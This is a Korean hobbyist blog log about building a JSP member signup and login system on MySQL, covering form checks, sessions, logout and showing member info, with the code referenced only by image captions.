그리고 그것에 대한 알림을 주고 싶었다.

자바 스크립트 연결



(자바 스크립트 연결)




onsubmit -> submit버튼이 눌리게 되면 실행된다.



(폼체크 추가)






폼체크 자바스크립트 파일 작성


(아이디와 비밀번호가 입력되었는지 체크)




그리고 로그인 되었으면 로그인이 되었는지 확인할 수 있도록
로그인 페이지를 간단하게 만들었다.
로그인이되면 로그인이 되었다는 알림과 함께
이 페이지로 넘어오게 할 것이다.



(로그인된 페이지)



그리고 세션을 추가해주기로 했으므로
로그인이 된다면
session.setAttribute를 이용해 해당 아이디와 login 세션에 yes로 값을 설정해준다.

그렇게 하여 이 login 세션이 yes이면 아까 만들었던 페이지로 넘어가고
그렇지 않으면 전에 만들었던 페이지에 남게 된다.



(로그인 메인 페이지 코드)




이렇게하고 직접 확인해보겠다.
:)


(메인페이지)






(로그인 성공 알림)






(로그인 된 화면)





아.! 깜빡했던게 있다.
로그인 옆에 우리가 어제 만들었던 회원가입 버튼을 추가해주기로한다.
메인 페이지니까! :)




(회원가입페이지 연결)



확인해보겠다




(회원가입 버튼 생성)




이제 로그인 화면에 이름같은걸 출력해서
로그인이 된 내용들을 볼 수 있게 하고 싶다.

넘어오는 값을 확인하기 위하여 아까 설정했던 세션 아이디를 출력해서
id누구누구 님 안녕하세요를 출력해보기로 한다.




(로그인 인증 후 페이지 코드)






(로그인 화면)



세션ID가 잘 넘어오는 것을 확인할 수 있다.

아! 로그인된 페이지에서 그래도
로그아웃 버튼은 있어야 그럴싸하지 않을까?
로그아웃버튼 생성! (후딱)
button으로 onclick시 logout변수에 yes라는 값을 넣어 넘겨주었다.




(로그아웃 추가 코드)



메인 페이지에서는 logout변수가 null이 아니고 yes라면
remove를 이용해 세션을 삭제해준다.



(세션 삭제)




확인




(로그아웃 버튼 생성)



자 이제 하던걸 해보겠다.
아이디로 DB에서 검색해서 이름하고 나이, 포인트를 받아와서
출력해주겠다.


(회원정보 코드)




확인!



(로그인 페이지)




로그인이 된 후에 페이지에 회원의 이름과 함께
나이, 포인트의 정보가 출력되고 있는 게 보인다.!
맘에 든다.!

자 여기까지가 회원가입 및 로그인 페이지를 다 만들었다.
내일 마지막으로 디자인 살짝! 조금 다루어준 후 마무리 해보겠다. :)

오늘 추가한 내용
세션기능
로그아웃기능
회원정보 출력
+ 어제는 로그인 체크페이지로 이동해서 검사했지만 오늘 수정으로
? 표시를 이용해 그 페이지 내에서 자체로 검사하기로 했다.
괜히 페이지가 많아지는 것을 줄이기 위해서다.!




전에 만들던 로그인 페이지 프로젝트는
메모장을 이용했다.

이번에는 DB를 연동시켜서
회원가입하는 페이지로 DB에 정보를 등록해서 회원가입하고
로그인하는 프로젝트를 해보겠다.

사용할 DB는 MySQL이다.



(MySQL 아이콘)



귀여운 돌고래모양의 아이콘이 MySQL이다.

사용할 데이터베이스를 만들어준다.





(DB 생성)



그 후
사용할 테이블을 만들어주겠다.
인코딩은 utf-8을 사용한다.

idx는 인덱스 번호이며, 아이디, 비밀번호, 이름, 나이, 포인트, 아이피주소, 등록날짜를 저장할 것이다.




(테이블 생성)



만들어진 테이블을 확인해보겠다.
select * from member
sql 명령문으로 확인한다.




(테이블 확인)



테이블이 잘 만들어졌다. :)

이 DB와 접속하기 위해서는
DB와 연결하고 접속할 클래스가 필요하다.





(DBUtil 생성)




(DB 유틸 코드)



코드는 위와 같다.
DB와의 연결 conn을 반환하는 메소드(연결하는 메소드)
그리고 close 메소드들을 정리해주었다.

이제 간단한 회원가입 양식 페이지를 만들겠다.
(디자인은 거의 무시했다. 보기 이상하더라도...!)
(디자인은 나중에 정리해보겠다.)



(회원가입 페이지 코드)




(회원가입 모습)



이제 이 정보를 가지고 DB에 입력할 jsp페이지를 만들어서
DB에 등록해보겠다.



(등록 페이지 코드)



입력 받은 내용을 토대로 insert 명령을 사용해 DB에 등록한다.

확인해보겠다.




(확인)






(확인)



DB에 잘 등록된걸 확인 할 수 있다.
가입 날짜는 자동으로 기록되게 했으므로 따로 기록하거나 DB 명령문에 입력안해도 된다.

이제 이 DB를 가지고 간단하게
로그인해보겠다.

간단한 로그인 메인페이지다.




(메인 페이지 코드)



(메인 페이지 화면)



(현재 등록된 정보)




입력받은 정보들을
loginCheck.jsp 페이지로 넘겨서 확인해보겠다.




(확인 코드)



여기서 시간이 많이 걸렸다...
select 명령문을 이용해 해당 비밀번호를 찾는것 때문에 헤메었는데,
rs.next(); 명령으로 다음 결과 셋트로 넘어가는게 포인트다.

확인해보겠다.




(결과 확인)




(로그인 성공)




(로그인 실패)




(1)에서는
회원정보를 DB에 등록하고
그 정보를 통해서 로그인하는 과정까지 만들었다.

(2)에서는
연결된 로그인으로 로그인세션을 만들어서
로그인 된 상태에서는 다른 회원 페이지를 보여줄 것이다.


+ Recent posts